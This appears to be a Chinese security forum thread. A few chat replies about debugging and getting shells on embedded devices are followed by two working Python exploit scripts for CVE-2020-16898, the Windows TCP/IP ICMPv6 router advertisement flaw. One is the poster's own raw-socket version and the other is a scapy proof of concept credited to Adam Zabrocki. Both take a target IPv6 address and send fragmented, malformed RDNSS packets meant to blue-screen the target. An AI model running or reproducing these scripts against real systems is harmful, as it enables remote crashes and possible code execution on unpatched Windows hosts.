大帅锅 我换了倒是可以附加上，但是别人程序的启动完了

Android小材 尝试过，一样的错误。

现在都学乖了，都加密码了，要拿shell 还得刷flash才行，现在大多数嵌入式的没有android那种什么dm校验，趁现在现在搞快完吧

tDasm 文抄公才丢人。没有含量的文章只有你这个菜鸟才需要学习

过于给力

有毒 我再调一下看看，确认下师傅说的问题

#-*- coding=utf-8 -*-
#python 2.7
#pip install getmac
import socket
import sys
import struct
from getmac import get_mac_address

if len(sys.argv)<3:
	print "USAGE:pthon exp.py [src ipv6] [target ipv6]\n example:python exp.py 2405:a900:ffee:257:5cb:3598:96a7:38e0 fe80::89:2963:b42f:4ae2%13"
	sys.exit(0)

INTETFACE="ens33"#You should modify it
'''
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.44.225  netmask 255.255.255.0  broadcast 192.168.44.255
        inet6 fe80::20c:29ff:fe72:4ead  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:72:4e:ad  txqueuelen 1000  (Ethernet)
        RX packets 191298  bytes 200793309 (200.7 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 50011  bytes 5180442 (5.1 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 15347  bytes 4893648 (4.8 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 15347  bytes 4893648 (4.8 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
'''


sock = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(0x0800))
sock.bind((INTETFACE,socket.htons(0x0800)))

src_ipv6 = socket.inet_pton(socket.AF_INET6, sys.argv[1])
dst_ipv6 = socket.inet_pton(socket.AF_INET6, sys.argv[2])

src_mac = get_mac_address(interface=INTETFACE).replace(':','').decode('hex')#b'\x00\x0c\x29\x8b\xc0\x99'
dst_mac = get_mac_address(ip6=sys.argv[2]).replace(':','').decode('hex')#b'\x00\x0c\x29\x72\x4e\xad'
 




# router advertisement
def p16(a):
	return struct.pack('>H',a)

def create_data():
	data1=[
0x86, 0x00, 0x2c, 0x31, 0x00, 0x08, 0x07, 0x08, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x19, #type
0x08 #length bytes=1*8
]+[
0x00,0x00,0xff,0xff,0xff,0xff
]+[
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41#dan bo
]*5+[
0x18,0x30,0xff,0x18,0x18,0xa0,0x18,0xa0
]+[
0x18,0xa0,0x18,0xa0,0x18,0xa0,0x18,0xa0
]

	data2=[0x19,0x15,0x00,0x00,0xFF,0xFF,0xFF,0xFF]+[0xaa]*8+[0xff,0xff,0xaa,0xaa,0xaa,0xaa,0xaa,0xaa]+[0xaa]*8*18
	data3=[0x1a,0x01,0x00,0x00,0x00,0x00,0x00,0x00]+data2
	data=data1+data3*5+data2*6
	return data
def p_ipv6_header(d_mac,s_mac,s_ipv6,d_ipv6,data):

	eth_type = b'\x86\xdd'
	version = 6
	traffic_class = 0
	flowlabel_1 = 0  # first 4 bit of flowlabel
	flowlabel_2 = 0  # last 16 bit of flowlabel
	total_len = len(data)+8
	print (total_len)
	next_header = 44
	hop_limit = 0xFF
	version_traffic_flow = (version << 12) + (traffic_class << 4) + flowlabel_1
	src_ipv6 = socket.inet_pton(socket.AF_INET6, sys.argv[1])
	dst_ipv6 = socket.inet_pton(socket.AF_INET6, sys.argv[2])
	
	ipv6_header = struct.pack('!6s6s2sHHHBB16s16s', dst_mac,src_mac, eth_type, 
							version_traffic_flow, flowlabel_2,
							total_len, next_header, hop_limit, src_ipv6, dst_ipv6)
	return ipv6_header
per_data_len=152

data=create_data()
data=''.join(map(chr,data))

y_sum_of_slice_data=0
sum_of_slice_data=len(data) / per_data_len
y_sum_of_slice_data=len(data) % per_data_len

slice_data=[]

for i in range(sum_of_slice_data):
	slice_data.append(data[i*per_data_len:(i+1)*per_data_len])

print "i=",i
if y_sum_of_slice_data!=0:
	slice_data.append(data[(i+1)*per_data_len:])
for i in range(len(slice_data)):
	print slice_data[i].encode('hex')
offset=0
has_next_one=1
for i in range(len(slice_data)):
	ipv6_header=p_ipv6_header(dst_mac,src_mac,dst_ipv6,src_ipv6,slice_data[i])
	if i==len(slice_data)-1:
		has_next_one=0
	reserved_oct=offset+has_next_one
	fragment_header='\x3a\x00'+p16(reserved_oct)+'\xee\x01\xcd\x20'#0x3a->Next header,0x00->reservered octed,
	sent = sock.send(ipv6_header+fragment_header+slice_data[i])
	#sock.close()
	print "send: " + repr(sent)
	offset+=per_data_len
sock.close()

贴一个代码方便以后看，照着模子，自己写了个从底层建立的ipv6分包的蓝屏exp

#!/usr/bin/env python3
#
# Proof-of-Concept / BSOD exploit for CVE-2020-16898 - Windows TCP/IP Remote Code Execution Vulnerability
#
# Author: Adam 'pi3' Zabrocki
# 741K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4m8A6x3#2)9J5k6h3y4G2L8g2)9J5k6i4m8D9
#

from scapy.all import *

if len(sys.argv)<3:
	print("USAGE:pthon exp.py [src ipv6] [target ipv6]\n example:python exp.py 2405:a900:ffee:257:5cb:3598:96a7:38e0 fe80::89:2963:b42f:4ae2%13")
	sys.exit(0)

v6_dst = sys.argv[2]
v6_src = sys.argv[1]

p_test_half = 'A'.encode()*8 + b"\x18\x30" + b"\xFF\x18"
p_test = p_test_half + 'A'.encode()*4

c = ICMPv6NDOptEFA();

e = ICMPv6NDOptRDNSS()
e.len = 21
e.dns = [
"AAAA:AAAA:AAAA:AAAA:FFFF:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA" ]

pkt = ICMPv6ND_RA() / ICMPv6NDOptRDNSS(len=8) / \
      Raw(load='A'.encode()*16*2 + p_test_half + b"\x18\xa0"*6) / c / e / c / e / c / e / c / e / c / e / e / e / e / e / e / e

p_test_frag = IPv6(src=v6_src, dst=v6_dst, hlim=255)/ \
              IPv6ExtHdrFragment()/pkt

l=fragment6(p_test_frag, 200)

for p in l:
    send(p)

搜到一个